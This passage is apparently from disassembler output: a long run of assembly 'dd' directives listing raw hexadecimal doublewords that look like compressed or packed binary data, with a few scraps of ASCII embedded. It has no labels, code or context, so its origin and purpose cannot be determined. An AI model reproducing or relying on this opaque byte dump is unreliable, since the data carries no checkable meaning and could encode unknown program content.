31BAB60h dd 0F1550358h, 0BB9148E6h, 0F428A020h, 5F138646h, 94FD0A4Fh dd 417FC4F4h, 0FF4F6770h, 1CF7DE70h, 80D3E90Ah, 654DEE9Fh dd 40F14213h, 0E797354h, 1CE35D02h, 0E8DCCFC4h, 7C609DD8h dd 369904F1h, 80D43AFBh, 0DEF86708h, 0E84CC912h, 49284804h dd 607B8C88h, 5B53814Dh, 0D900BEE3h, 4E9F4855h, 60768622h dd 84C72120h, 2A002D01h, 0CB1E74F0h, 1A37A07h, 6517BFF5h dd 0A6EEE6FAh, 2608C070h, 0D4E20045h, 0A3ADB02Ch, 1FB4134Ch dd 1860D8E8h, 8FB0F71h, 91C9FCF4h, 0E71C03E4h, 86D0177Eh dd 74DAE170h, 192C6F98h, 0AC50E0F5h, 3B201E5h, 0EFDA644Eh dd 0AE1892EBh, 16E84C8h, 6DF47207h, 44FD5CDAh, 0DF30A084h dd 7B742A0Ch, 33E948h, 8954533Ah, 965DB51Dh, 388420B9h dd 0B017966h, 86BEE754h, 0F0712818h, 2EFA4AC1h, 4A23E4h dd 94E68690h, 0C505D873h, 6F2C3A76h, 7810F4C4h, 2C692994h dd 9915BE00h, 8534BAD6h, 1400DEA0h, 8EA42CC0h, 9CE5A20h dd 0A6EE60ADh, 0C87C0C84h, 9CF4F830h, 2100707Bh, 290478ABh dd 7BD27BBh, 0CAE18E8Ch, 0FA6473D0h, 0D700DCAAh, 556FE618h dd 0BFDCE453h, 9AFA3C2Eh, 4512B600h, 9FAD662Dh, 0DC464C24h dd 5BE5D685h, 0DD2E8D1h, 6DB28B10h, 9E982448h, 8A8D133Fh dd 0C5102018h, 0A94662DFh, 6464F0B9h, 0CCB2CD00h, 0C6F876C1h dd 9962E11h, 5E2B0954h, 20F3D490h, 0D2EB481Ch, 4E73F180h dd 0C0E85B03h, 0C9BB3B58h, 0F95C831Bh, 11331C2Ch, 0D9AE77C7h dd 8E5902B0h, 91683152h, 64352820h, 7540F3F4h, 0A0912Bh dd 662E4E07h, 0FB0070E1h, 2FE78544h, 13D2A376h, 2FF9865Ah dd 4A234Ch, 4F95C1B7h, 12481989h, 142A127Ch, 437C3C05h dd 0A8168840h, 7F12E106h, 0BA110755h, 31A4D72Fh, 40542CA6h dd 19AE49BCh, 0EA3740h, 946CE1BBh, 0CB54F640h, 504CAC5Dh dd 697A15C0h, 37137492h, 0BD01A495h, 0DA144777h, 25D148D9h dd 9B902185h, 0C6280A4h, 0F224F9DCh, 0DF42B8A7h, 7584024h dd 12BF298h, 4CE711E9h, 498981DEh, 840820ECh, 16CD0540h dd 2349E89Fh, 90261814h, 0A1404C7Ch, 778AF70h, 0F1CE272h dd 9847818Ch, 0FAF4E4D0h, 4F798C91h, 5004518h, 0C43FB28h dd 5DDF0C6h, 409FAE6Ah, 1C440D61h, 119D1D0h, 433A15Eh dd 732A4008h, 17CE1501h, 74225A7Ch, 5282D10h, 6B72EDCDh dd 1795BCD1h, 4FE21033h, 7B0CC30h, 0D0399159h, 7FF0608Dh dd 91C02C6Eh, 212823Ah, 0BC27384Bh, 7DB32400h, 740BFFC2h dd 8B095890h, 685749DAh, 44D0B438h, 0EF436068h, 23790C39h dd 0D9112749h, 0D614B600h, 1DE0BD51h, 82007D72h, 34220121h dd 2CF39EB1h, 5E7CED93h, 2007846h, 0DAD507DEh, 0BC9EAC1Fh dd 45E5C586h, 2D6F3029h, 48CDB8F1h, 61534A00h, 0CC3394E9h dd 57C714F7h, 212B0CAh, 0D1E310A3h, 5955D60Dh, 3C2A60F8h dd 2BD45E50h, 0DAB05D54h, 9AFE5200h, 496B50E7h, 0BF9F0580h dd 99841A8Bh, 66C02038h, 15B3048Ch, 62E2D698h, 0BB272058h dd 6C511E15h, 0BC0C3888h, 0ED038CE0h, 4BDDABCFh, 4154C210h dd 7D117748h, 3C8C5042h, 56008C62h, 0E4E19803h, 0CC2A5Eh dd 397606A7h, 846258A4h, 4E20D490h, 107100D3h, 83AE36E4h dd 0A709E308h, 107CB290h, 48BC9F68h, 6F858455h, 0CABC4050h dd 4C6EE7B6h, 0D9855234h, 0B9B09CB6h, 54050955h, 420348BCh dd 31C5C0CCh, 0DED916E0h, 0AD84EC37h, 3C3C34B4h, 9AB60B0Eh dd 7C8C1859h, 6731C04Ch, 0BD9027D6h, 1A3CEAF6h, 6DA4833Ah dd 0AAC32FAh, 624828F8h, 6E7084D0h, 75A4E0D5h, 0CC924709h dd 0B9488518h, 900D6823h, 9CEF4979h, 15CD58C0h, 0C3C5D600h dd 99591C8Bh, 69B20654h, 99497B22h, 0FC42171Eh, 0C6D87E41h dd 0CC2C30ADh, 0C725F512h, 0E1C9B0A0h, 0D8BA27D3h, 46625700h dd 0A3476460h, 0FAEA69DEh dd 52903C01h, 0F1E00076h, 646B5D4Ch, 0B9110201h, 845E38D5h dd 21E46521h, 9CD976C2h, 845A9820h, 48AD1120h, 5CFB2C9Ah dd 350465Eh, 45CE55FBh, 3473C17Dh, 30C1E0C4h, 75D8EF3Bh dd 5FE48171h, 24B7A580h, 23465C0h, 32FBE64Dh, 9C88B050h dd 0DE07FA97h, 0ACC6EA95h, 5F3A01Fh, 0F3BBDA65h, 0D38FF073h dd 8ECC661Fh, 25F04FDh, 3C062FA5h, 784788C9h, 0F318B30h dd 871B044Ch, 4A7058B4h, 203C5780h, 0D2605824h, 65A4240h dd 0D9C7C4F0h, 0B24803Eh, 1500441Eh, 0E648E412h, 805D5CB8h dd 0BBD5EA01h, 88529B5Bh, 0CE3137E0h, 5D08A6E3h, 6DEF9818h dd 0F018E119h, 9590961h, 0C42B74D7h, 4957B420h, 0ECB4E1DEh dd 0F2AD2106h, 81760219h, 0FC38D732h, 21658C48h, 64BDD613h dd 0D7C8A88Eh, 2850E9C0h, 0AC930E99h, 94445E17h, 5BA8F476h dd 0D8D4C502h, 0E814F211h, 0E2944C60h, 0A039F117h, 0EECB5D0Dh dd 16EC30C1h, 980134BBh, 7FCBD0A4h, 95882118h, 67A4009Eh dd 0F8C24D4h, 6209435Eh, 11D197C3h, 0D0334E00h, 0B8334FF2h dd 0DE1CCEh, 2984EB5Fh, 19E8D0ADh, 86CD080Fh, 0A70A8554h dd 9817BCB0h, 7C9B4C14h, 495C2B18h, 27FEDC14h, 26889F14h dd 2C7058B4h, 7CC08081h, 0E9D0104Fh, 55897318h, 0CB4FC8h dd 8B4366FAh, 407BDFE3h, 83C7848h, 4F4AA12h, 0B4D2BEFBh dd 1A400C84h, 513F00E4h, 7299D585h, 0C04C13F3h, 21C07D90h dd 3CA7CE16h, 95C8A04Eh, 0EFA1870h, 31DA48A8h, 663BC67Bh dd 0CCC90977h, 0C4088BEAh, 6DB70428h, 0C3F8EC28h, 0B290372Ch dd 0FD05689Eh, 0F082FA64h, 13F42891h, 89BEC58h, 87CBBDA4h dd 9A4026C4h, 225AA481h, 0DDFD10Bh, 0FDA4C954h, 3BC024h dd 0A540313Fh, 0E77BC9DFh, 372C98C2h, 287454BEh, 180650B8h dd 2F760473h, 814AC03Eh, 5F44ACh, 0A11DD9B0h, 38A96E98h dd 1849D914h, 0D2930E64h, 0FA0C8BDh, 0C08874D9h, 42B4FC13h dd 0A62E1C08h, 0CB1EDE88h, 254109AFh, 0AC42133Fh, 14D97878h dd 467C3003h, 6DEFD0A9h, 29741E7Ch, 4CE81903h, 0CCE332h dd 0E3F45259h, 56E49143h, 0DA474100h, 890F07D1h, 9978244Ah dd 0C7AA0804h, 30D0F216h, 0F66F1Dh, 17CD21A4h, 0BE89F4D4h dd 0FA502702h, 41F76AA8h, 69105214h, 4D28DFA1h, 0BE05E04Fh dd 1FA660ADh, 16C93091h, 4C282989h, 0C8D1CC6Ah, 3ED5FD00h dd 0BDAC3851h, 5A0A6178h, 0D4AE9A47h, 49786E15h, 0FB3C82C0h dd 0C3478A2h, 15E2C377h, 7CECB051h, 117B7633h, 46DDD0B7h dd 0C2E80FE9h, 562EE5EFh, 701A48E7h, 654C0729h, 0CBB67701h dd 0F56C6190h, 0EA98042Bh, 300412D6h, 0CB246BA6h, 0C0588888h dd 46B11339h, 6864422Ah, 660AC08h, 0C46E1417h, 652854D4h dd 0AF0E3C44h, 0DC119732h, 30F09642h, 0DDC36717h, 1821E890h dd 0D7E4071Dh, 75B6F526h, 440854Ch, 0B432582Eh, 2C51C54Ch dd 0BCD87CD4h, 98008C7Fh, 893D72DBh, 305F5506h, 0DCC04DDAh dd 32E78FC9h, 1112304h, 0CBBBA499h, 88201897h, 0A4039F94h dd 61A5F68h, 7C8BF9C4h, 34CA420h, 0EA0CDE78h, 0F011767Fh dd 3F7A49DCh, 4605ECD3h, 49754058h, 68E87D90h, 9E5C634Ch dd 0D2E000FAh, 0AA388DDh, 0BB8114FCh, 6729D86h, 2F9D9EFh dd 7829B8D8h, 0AF8290F3h, 8041E417h, 1B4E359Ch, 0DBAC0A61h dd 80E042C9h, 0C0823A75h, 0D84990A7h, 0EB050010h, 7CE1E4D3h dd 923812D2h, 46404A3h, 8890CE61h, 33B5C025h, 3E06E3F7h dd 47E8C6F1h, 2B6F30E1h, 51EEC229h, 379E9D00h, 92BECAE3h dd 59DB29D1h, 0C35E898Ch, 0D7268C72h, 3BE3901Ch, 0DAEEA1CEh dd 125EE091h, 0D8204728h, 59CFD004h, 484820F4h, 0C4E11A00h dd 0F354E903h, 0FA00A297h, 8FC0AABh, 0F832E7AEh, 0A4973017h dd 67CBB116h, 960C38h, 0AE3BA49Dh, 17CE13FCh, 0EB7982E9h dd 722445CFh, 415B60h, 2FADC510h, 14091EACh, 900FD542h dd 492AA9Ch, 85D7A76Eh, 10E0AD52h, 40014FC8h, 0C618CA91h dd 64832E7h, 5830A7CDh, 0AA763E20h, 0D22D4197h, 5D224D9Ch dd 0F8047A94h, 0A8209748h, 8CF99806h, 616F2D0Ch, 136920DEh dd 0C039AFC7h, 38D5BE08h, 0F4AD8217h, 20D1D022h, 8DC5DFF1h dd 950D4EB0h, 0E070C417h, 0F4807188h, 805A4A88h, 380FE004h dd 0D1127854h, 0A00402E6h, 8B0180AAh, 842E15B2h, 0E0296F78h dd 0E21080ADh, 917C1876h, 0C14F6FF9h, 319843D1h, 0E77A200Eh dd 1080F34Ch, 7C246C55h, 0C6BE40C0h, 6D09F213h, 0E5F983ACh dd 6058C468h, 26DB3685h, 42B4DF0Bh, 0C00F62DDh, 9733D3D1h dd 61C9059Ch, 0D207C1D6h, 48567A34h, 8EA0352Fh, 60E2146h dd 6131E020h, 0F334D3E4h, 80B858A9h, 1F017E22h, 0DB2A1EDAh dd 4070D0E4h, 0D700FF04h, 6E7E744Dh, 717598A8h, 9B5C8801h dd 4EF3E645h, 0F971820h, 0C04A9DF9h, 0E2DA8485h, 746701BCh dd 0C3F28392h, 0BC03F439h, 0C55C73BBh, 104F1CC8h, 0A1974400h dd 0F6ACDDC7h, 303928D6h, 5CD013E4h, 0BF5CD0ECh, 600A74Ah dd 5B1E6962h, 7927551h, 7A257FB3h, 0D246E08Fh, 15257640h dd 0E0140FF3h, 0ADD0CEC2h, 2398C533h, 0D48007F6h, 8C70D938h dd 4B9B6509h, 10E07371h, 33AC02D9h, 565103ABh, 42E08808h dd 6BCE4702h, 318080AFh, 4B0B9AE4h, 7924D896h, 23201E82h dd 980EB63Ch, 7DCC20FAh, 2B5C372h, 0B7A16A05h, 38E42F59h dd 0C1E03306h, 24C8D9CBh, 405838DAh, 916FE6FEh, 0CF946013h dd 86735427h, 6772BC47h, 4F0DE082h, 48826004h, 1215207Fh dd 3D6120A6h, 42A771A8h, 29B0302Ah, 0DC1669E8h, 480CF8C1h dd 9DE01986h, 3E00C93h, 2CAC3EE1h, 7A0A1896h, 0DD903C4Bh dd 0A4669689h, 2048F831h, 7A0161B7h, 0CA109149h, 0DDC41517h dd 0C8799Ch, 0CD534FD4h, 0B95E749Fh, 51010808h, 61608444h dd 0D076094Fh, 567A448Ch, 4E4F6907h, 6DC5F30Bh, 0AC5C6CB2h dd 1E8C55ACh, 40D4FA18h, 0D50BD9B0h, 217966FBh, 5CAC7F4Dh dd 8CD9BCA8h, 19EF8400h, 0B4E48D79h, 1DA0045h, 0D8D9E3D0h dd 0D34EC9A5h, 0F65A7881h, 12234C39h, 16DE9C14h, 54629FCBh dd 8299203Bh, 0F23C41A4h, 0AE6003Eh, 0DB03FE0Fh, 4BD8090Ch dd 0B004981Bh, 8CFC9092h, 915D5A45h, 6BC10898h, 0A1F20DEFh dd 35B841B9h, 72281031h, 0C894AB46h, 50F817D0h, 0C89BDC51h dd 779CBF58h, 0EBB69C83h, 494901C5h, 9ECFC292h, 10FC6D7Fh dd 0F87B24FDh, 1219DD49h, 0A235029Bh, 4CC5B74Dh, 0A000AC91h dd 8F78E0DCh, 5B5845AAh, 42728488h, 48447B47h, 0F4B55F00h dd 0E4CB484h, 0A854FE73h, 9600BDE9h, 0BF503367h, 0C7A4413h dd 0ADB9A041h, 22A5238h, 0CE700B48h, 48F1E0C2h, 0D6183BD1h dd 6D83621Ch, 0CCFC9CC0h, 2D4C5B86h, 0B40013E6h, 0D9AD18CDh dd 78D50C26h, 503A237Ch, 85503AF0h, 9F6C84C9h, 0E4F7E60h dd 43CCD03Fh, 8B047B22h, 8AD84F66h, 25F2BCA2h, 1374E030h dd 5C01872h, 8251FBA4h, 60796484h, 50187E79h, 0EFDF0E00h dd 6A6EDE75h, 0FFAF1363h, 8CE2ECh, 9F1CD3EAh, 166059ADh dd 0CDF4A852h, 9728F0E0h, 69617500h, 0BB394701h, 0F0E2057Eh dd 0C84C8F29h, 1F45B0C0h, 8D00A433h, 0CC955C84h, 410007F8h dd 7FF65F97h, 48E69087h, 422604AAh, 0C0C5A5B4h, 53607FE4h dd 4D0290C3h, 47757355h, 5E50509Dh, 27942233h, 77811420h dd 0A75501D5h, 216EE948h, 1A39FC37h, 72E7F100h, 0FFC9DBF4h dd 949C96A7h, 3380EC7Bh dd 89BB348Bh, 17B81303h, 0B8219CD3h, 286B7Ah, 3A208DF3h dd 0C558ECE0h, 39C141E8h, 0A07176D0h, 254CC7ECh, 7C06F5B6h dd 3CBE70B7h, 49465Eh, 4E1B4D19h, 5C237BF3h, 7D25D6D8h dd 0B643E442h, 0ACDA68A2h, 7C806C5Dh, 81C8FF2Dh, 0D1D686B8h dd 0E98B7971h, 0A4EDFAF1h, 0FF04667h, 690451Ch, 0DAF172A3h dd 0DB160805h, 70B063C1h, 62F3136Fh, 0D79CC021h, 0F4B99A09h dd 0C4E8BD64h, 8C79F8h, 8A0E9AC4h, 0C80FD9D6h, 0FC8E6094h dd 0D8D1206Ch, 5F613DEh, 0EEC3DF7Ah, 86F2039Eh, 0D2A99AF8h dd 0E009BCFDh, 88AEBE21h, 1D4700D5h, 0EFD0A9BDh, 0C700E684h dd 7EEED8F5h, 4150DFh, 0D167DD80h, 0FA0959F1h, 0BAD95B07h dd 18ACBC29h, 4F781DCEh, 705D0018h, 0F79796ABh, 0F02CEB00h dd 4A7CF46Fh, 300CF0BDh, 79107005h, 0F2072583h, 0F9DB8A59h dd 3C7E90ECh, 2303934Dh, 7D7A71DFh, 2774A800h, 0A22BCC6Ch dd 0A91806D7h, 89D859F5h, 17251C00h, 0C8BA3252h, 0E03D3BDFh dd 0CDF89Fh, 0ABD3EEECh, 0D036963h, 72D95AC6h, 0C3D803DAh dd 0D1F50B05h, 75A82F98h, 8AC4FA38h, 9089F6FCh, 544F980h dd 0BB96A7h, 0A2EAD173h, 681F71E0h, 91276003h, 0F1DBEDF9h dd 9850CC56h, 406421CAh, 70A1C5EFh, 255610D8h, 0FB740741h dd 818D78CDh, 8083D555h, 0FD246F10h, 67CF2B0h, 0C052D4DFh dd 0DC0038DEh, 0DD47951Fh, 0C0F04DEFh, 799424C1h, 2C010649h dd 0FC59E9F8h, 0B0407673h, 3081CA75h, 0BF79DB55h, 0C4792FE6h dd 7AB2F606h, 60080E5Eh, 1E9A21E8h, 99002B2Fh, 44DBF889h dd 4455B028h, 4D2A52D2h, 0ED19ACADh, 0AFA97A09h, 613051F4h dd 4963F0EAh, 7C1022D4h, 19C486B8h, 0ED40CC69h, 4ED0B625h dd 850FC00Eh, 0BF02180Ah, 522C00CEh, 38AABA45h, 8900162Dh dd 0E6EC1285h, 1D8D8B05h, 9CE42681h, 0E980066Ah, 0C20A0BEDh dd 16B5FF56h, 0E8511630h, 205DC303h, 8991C359h, 35FC2B4Ch dd 41211A8Ch, 0D8C35100h, 136A223Fh, 0FFEC067Fh, 50EBFE95h dd 0BA84F495h, 0D80043Ch, 0BE61499Dh, 50323990h, 2C26CD85h dd 398C5280h, 8911C35Ah, 87188854h, 0A0C35242h, 627C48DEh dd 879ECC4h, 29816C10h, 9D2D8185h, 0DA4C6618h, 3D95FAEAh dd 93D41845h, 71D4161h, 3160084Bh, 0C60D2995h, 1B806820h dd 0F1308B7Bh, 6AF8431Bh, 8E93003h, 193DA01Fh, 0B51C7606h dd 304888FCh, 0F08CE8Bh, 29C61286h, 0B0DE9h, 66CA3A3Eh dd 4EE076F5h, 84A11403h, 268B2C6h, 9D01C023h, 72852679h dd 55DE328Ah, 0E4C35D30h, 226C4689h, 55450015h, 0FC2AF7C3h dd 81379589h, 0A963550Ch, 5648B40Fh, 91C35EC3h, 1B187489h dd 564688h, 0E2CBC6C3h, 289DD2F4h, 0DDE889F4h, 83520761h dd 0AF43FFF8h, 0FB1DBCB2h, 0C4F6637Ah, 7DE90953h, 5F2C8503h dd 0E00BD83h, 67840F02h, 0E436DE04h, 22810C72h, 9FEC8D2Ah dd 0D75AF52Ah, 1C5A5752h, 898AC35Fh, 4770847Ch, 0AAC31C57h dd 0D38B4366h, 5010D0FFh, 0BF03EFF2h, 21F0E991h, 0E13C1A77h dd 8B1F0953h, 11981DC0h, 96EB8019h, 1A6C779h, 68D281F7h dd 2327124Dh, 0C37D001Dh, 0BD80585Ch, 84F350CBh, 0EC166EA1h dd 12097506h, 0C220D22h, 53501974h, 0D834B894h, 91084607h dd 0EB9D4115h, 0FFA540A8h, 58565BD3h, 87172022h, 0A5DA8820h dd 8C53FECCh, 89FAC3F6h, 8BB55C53h, 8FC88243h, 0C5094002h dd 235AD025h, 98C17B8h, 0FCE9707Ah, 365AE8F7h, 1FD10ACCh dd 3384CA31h, 4BC1964h, 0BA873F68h, 0B5C26007h, 570669B9h dd 41B881E9h, 6A615909h, 1591439Dh, 0F852080h, 44D4FEBFh dd 8C1BE80Dh, 4FF25200h, 1C7B9926h, 20C69088h, 4FA12811h dd 0B74E34CBh, 0ECFFE50h, 0A287FE90h, 8D631464h, 7806FE22h dd 27BD3601h, 0D01E626Ch, 70FBFF68h, 15D10499h, 0C486518h dd 2AE11132h, 7902E151h, 6BB341FCh, 0BD8BC383h, 2828151Dh dd 0F2824E9h, 0AE813A83h, 413490CBh, 32C5C4h, 81525650h dd 0E6E0EEF1h, 595F2664h, 90E1190h, 908A0F60h, 880CE8BAh dd 0F40007C4h, 0B84B8361h, 243A9CACh, 2007B210h, 410661C0h dd 2525BD89h, 64B0361Ch, 8B4302A4h, 0F9F7C7FAh, 243AB13h dd 301CB2A0h, 0CA4817B9h, 5FD0060Ch, 48C49A9Eh, 0F83270B7h dd 4388BDB2h, 1A888AEh, 0A98D3304h, 8591E8D7h, 50424FDh dd 21EEF09Fh, 15068B88h, 1FE59706h, 81BD24DFh, 0B618E05h dd 504135ECh, 32009CA6h, 0E9DD6A8Ch, 754285A7h, 41202C5Ch dd 0F9543DB6h, 0C88B0A5Ah, 0B99016Ah, 0CD141025h, 0F5605300h dd 81515F61h, 8C9A0FEAh, 0BE1434BAh, 0F6CA0A22h, 89411CFBh dd 0B1A6D98Dh, 35CEEEE4h, 0B9660410h, 648DAD92h, 45D7A242h dd 1845914Ah, 0BE0B10E9h, 228200CAh, 0E2A04CFh, 0DE17B9E7h dd 7755D82Bh, 0E4298E5Eh, 2B4A1125h, 615064FAh, 89C8C358h dd 0C06C9944h, 76C35040h, 222F4212h, 1957470h, 0EE9882Dh dd 0FC2C33C0h, 4BFD51h, 467A2562h, 0CFC9B029h, 587D26EFh dd 6CDF0979h, 1F682B4Bh, 80179118h, 0F590AA19h, 190960E8h dd 0EAD0883Ah, 0A3D10801h, 85316884h, 0BC4CCC22h, 29A19D09h dd 60629C14h, 0E19B91Ah, 8DE48BEEh, 0F376C810h, 51486171h dd 318110F3h, 0C0025A24h, 0AF23C9BAh, 2D85E64h, 0D5660456h dd 891F1303h, 8D20E14Dh, 1A891F09h, 211424B9h, 0F003CF4h dd 31BF3D27h, 0E59A157h, 0FFF6B8E9h, 16E8EB34h, 0D820098Ch dd 5B0EF9B7h, 0E42C1748h, 4330A108h, 9908F75Bh, 420D95BDh dd 0CB442A61h, 20199925h, 402BEF62h, 4083B88Bh, 9512091Ch dd 44442131h, 52A506D6h, 1A8D8A74h, 68EF10B5h, 19116517h dd 84DDA780h, 6E4DC1F2h, 129C88C9h, 96590E8h, 7701F4ADh dd 797F4638h, 0A1E31F6Eh, 61C46085h, 2B826E0Fh, 16FF1612h dd 23DD3AAEh, 0BB750616h, 0E9583C51h, 70938070h, 784DE8h dd 0CFA2ADF7h, 5026E484h, 40AA290Eh, 18E68574h, 241B005h dd 1A8844CFh, 71E007C7h, 504D0AA9h, 0AA09D292h, 0B7618BC7h dd 8D480FCAh, 37CECFA0h, 0B1AC2732h, 0AF18025h, 618D0245h dd 99426674h, 0C06892FBh, 0C8143D74h, 4674C08Dh, 0C7FD2614h dd 10C94A04h, 0D9E243A3h, 0BCD9903Fh, 5E99651h, 0CE5933BAh dd 0C11488BCh, 63870FB5h, 0C98D0886h, 1BEE242Dh, 0D8027F55h dd 0F9752FBAh, 1C46668h, 5C556B62h, 0F0D90D6Ah, 2604999Bh dd 50C075B3h, 18882C8Eh, 29B928C0h, 0B1341871h, 0F1E7E201h dd 0D88B4112h, 1423DD3Ah, 90E8940Bh, 128E4849h, 2577C0Bh dd 535FD6E2h, 292DAE83h, 8903EB1Ch, 50431DBAh, 10200676h dd 0CAE6F6F4h, 4ADEB85Bh, 0E96706AFh, 0EA791913h, 0D3119507h dd 0C721391Ah, 0A1E073B1h, 0AF706DFh, 6E81D6CBh, 89D18B24h dd 60544620h, 180AA16Ch, 995F19B4h, 7F08F200h, 1350615Bh dd 93CD9523h, 4240606Bh, 2DFD0B77h, 0FAC4009h, 0FD6B88h dd 75B5876Dh, 8A7EC0B2h, 509AAB05h, 9D00493Dh, 0BA665AD7h dd 3BB44B16h, 1B231Dh, 33E936Dh, 322A28C9h, 9F0041A7h dd 4B155321h, 15A83BAh, 6137C2E0h, 86D1365Ch, 7C32E2E4h dd 82DA19F1h, 0C16884BEh, 0E2437318h, 0BC70301Dh, 0B5D239h dd 47EFE794h, 3760F85Eh, 0C29880Fh, 6586860Eh, 0C2530261h dd 4560C9D6h, 6B822A29h, 71122C14h, 8F37A560h, 2C3D0500h dd 101AA20h, 0BF66023Ch, 66F9AF77h, 0B8B65DA0h, 0A72500E1h dd 0D3AD3B1h, 310B9EA9h dd 14041995h, 44F287C4h, 0B093601Dh, 0CAB407F3h, 0B5704D50h dd 84A10459h, 5F564502h, 2455FE82h, 0F529861h, 0D527804Bh dd 51E28CFh, 2E18408Bh, 1714234Ah, 0BD0E064Bh, 84736313h dd 179B988h, 0C74D3398h, 2C075985h, 0EAA6DB67h, 0A6B40B11h dd 0AD8D2317h, 8C3DC444h, 0E010E9B2h, 7E81801h, 0FE56B17h dd 0C46238A3h, 0E30B30F3h, 19004C50h, 0A5FDF307h, 0F15EBDh dd 172A9F8Dh, 2CED6945h, 1B50D0B8h, 46A8930h, 2602CD0Dh dd 0A4963D40h, 2B41A13Fh, 6814F9BDh, 4E2EB520h, 6D001C23h dd 80A3AD7Eh, 48EC77DEh, 0D20FC9A0h, 0D945BE53h, 50DA80C1h dd 5F71F951h, 0FB6831B4h, 91921692h, 32FAADD1h, 68F0DB36h dd 82C35250h, 4C0EA5DFh, 0EA4B5F72h, 7FB91840h, 1ADA432h dd 1351BA61h, 8E950ECh, 0B7B00077h, 722D798Ch, 41003401h dd 0D830148Fh, 5C335D27h, 0C6FC085Fh, 0C6E10B47h, 81830B0Bh dd 4B8965F1h, 517A9245h, 52CF582h, 3041B259h, 8160ED47h dd 0E6040FC9h, 61E935D6h, 0FD97B02h, 63E9F530h, 0D38B0DEBh dd 0EF7163BAh, 1A1819F1h, 0AF0C1524h, 0F50BD6ACh, 1916904h dd 25713302h, 0B71818F1h, 7A0A7E72h, 75D0E9F0h, 0A1248620h dd 19643602h, 46E96100h, 84E3FFF0h, 2D09B526h, 88060CC8h dd 0C3E3BD89h, 31AF3341h, 0C4044FC7h, 107E07DDh, 89B807DDh dd 14FF9B0h, 0AD900546h, 5B2B7C82h, 0E93E0481h, 0B1C0D15Fh dd 0F8CA2062h, 9A43F44Eh, 2E88E8E7h, 0A436F068h, 7A3A604Dh dd 0F00AB65h, 1F436DA1h, 0BFA773h, 0D3B03349h, 0E9B7D08Bh dd 9D31A6E9h, 80070311h, 4360B8E2h, 6A09E8F0h, 0AE30E7CAh dd 6CF30DF9h, 730B0363h, 0E6E69C0h, 66629202h, 64E9609Dh dd 98213DA4h, 5FFEB06h, 2D2ABA79h, 5F24D731h, 46745540h dd 81E0381Ah, 58D2708h, 71D189CFh, 3D40F754h, 0BB2C5EDEh dd 736C2BCEh, 9919Ah, 4CAB04FEh, 3A3F1D6Ah, 34B20791h dd 4949F9F4h, 0F0E56050h, 0BD4CF642h, 0D20CC917h, 4840071Eh dd 66800162h, 0F6DB098Ch, 990404C3h, 0CBC64EFCh, 564B2049h dd 31B85268h, 0E55E9CA8h, 13FA3228h, 0B5323994h, 109CE104h dd 817D6413h, 0F763CEC4h, 47802D10h, 18AC9B68h, 498EC47h dd 1EA4F08Bh, 61684F07h, 8B82F26h, 86720FB9h, 0C7D5F6Dh dd 56286A53h, 0C0298518h, 41807575h, 87649868h, 322AADDBh dd 0E167CD0h, 0E7A4684Ch, 0D020804Ah, 63459D8Bh, 96045BF8h dd 5468151Fh, 2A15AC70h, 0E1DB03C7h, 500C43D8h, 2D850702h dd 99BA0771h, 0C47020Dh, 8BA4B52Eh, 671411A2h, 9768451Fh dd 892A508h, 35732379h, 610C0267h, 4D327528h, 0A1B4B460h dd 0C464E6Ah, 0DCD2865Ch, 1A40E9DCh, 20B79052h, 594C2635h dd 85C64923h, 6A021F09h, 60E72D34h, 0B03ABF5Dh, 612CB019h dd 0FF644B45h, 15E17335h, 7D94D995h, 0D258928h, 469CC9Ch dd 0A2565C1h, 0E2036BCh, 9112158Dh, 4299501h, 21235CD2h dd 3CAD9D89h, 40BA0087h, 803E4DB8h, 0FB7C2FBDh, 0B855B23h dd 0CF03315Ah, 701C2E9h, 33F9B78Dh, 88C53DBh, 81572700h dd 79F801E2h, 335A173Bh, 4DB500C0h, 40556EE6h, 73F0F01h dd 58F640Bh, 4C46751h, 2CF0A666h, 0E5592EA7h, 8AB52A07h dd 757B795h, 21160B98h, 0C59529E4h, 0FB830117h, 45844B70h dd 0B8483D4Bh, 6E92027Ch, 8817F742h, 8209502h, 1A0D08C7h dd 0B206E90Ah, 0B06069A6h, 1E848D94h, 0CE8EC0A2h, 0F8C04C03h dd 0CAE13B14h, 0AC177B04h, 2547EE9h, 911407Ch, 2541DDECh dd 0C244CF0h, 0A481C70Ch, 3CFFF2Dh, 15B84C83h, 0C3DDA004h dd 0CD0C28Bh, 0D690E855h, 0ED24815Dh, 8B8A6956h, 75281B83h dd 542E1B20h, 0D05D0C89h, 19E89B4Fh, 450C018Ch, 0DCB5FCF0h dd 802D7C0Bh, 14BFCF81h, 0D7205040h, 0B822E125h, 0A6A04C22h dd 508122B5h, 0B7577F38h, 0B3B8E25Dh, 38D64CC9h, 549523D0h dd 9DB9BBF5h, 4B80220h, 484855D7h, 0F78100E8h, 0D465BB0Dh dd 0BE864885h, 3E34B61Ch, 5FE8EA8Ch, 0FBEEED0Ch, 4D586802h dd 600A7556h, 811C6DC4h, 0A2381501h, 0F5BD1209h, 8D2B4212h dd 90D2204Dh, 75FD33A1h, 0E10C730Fh, 5508043Dh, 52101A42h dd 200EB9A9h, 96A5F311h, 0C4E1B800h, 0C6F98BCEh, 0F13AE97Ch dd 310343DCh, 8F35382Eh, 0DC010Ah, 65637845h, 6F697470h dd 49206E1Ch, 728566DDh, 0C12616Dh, 656C4907h, 2C337397h dd 75087C20h, 68743E64h, 6C36CEF9h, 6977CF3Ch, 63CF67CFh dd 73ED644Fh, 0DCCFF728h, 64DB4061h, 2EF6C752h, 196D742Ah dd 16685420h, 0ED79D96Bh, 0D0AFC75h, 1E904DFh, 4670288Ch dd 4362C073h, 2B4C5254h, 0D166FFEBh, 0CD1E699Eh, 0B1A06497h dd 7970A18Fh, 696C0851h, 61FC62E5h, 29642872h, 56428036h dd 0A473FA65h, 0FE3DFE99h, 1E94F325h, 63058743h, 484E496Bh dd 4FE1640Fh, 501C5455h, 0D16F723Fh, 680F0B1Dh, 0E6C80F3Bh dd 3D74690Dh, 1E420F0Eh, 8E5054DEh, 0E91E1868h, 19B1B3A2h dd 82012D18h, 0A40A3340h, 50625F90h, 26A3740Eh, 0D5B02568h dd 0A41A951Fh, 8F924C22h, 0A29C1940h, 0CA59C407h, 2C248816h dd 0A40A084Bh, 0E430F541h, 0A021254Ah, 216B9AC4h, 0AC31CFACh dd 0A33F87B4h, 0EB051A4h, 0F94AEE29h, 0F6290EA4h, 0EA8F925h dd 3052FD21h, 8031B10Ch, 0EDB9A2E9h, 65320D88h, 900D5D95h dd 11858429h, 1A744853h, 0F8C28105h, 9CE981A0h, 958D8B54h dd 523021E4h, 0C3402834h, 893B3FD4h, 261FED96h, 40890C0Dh dd 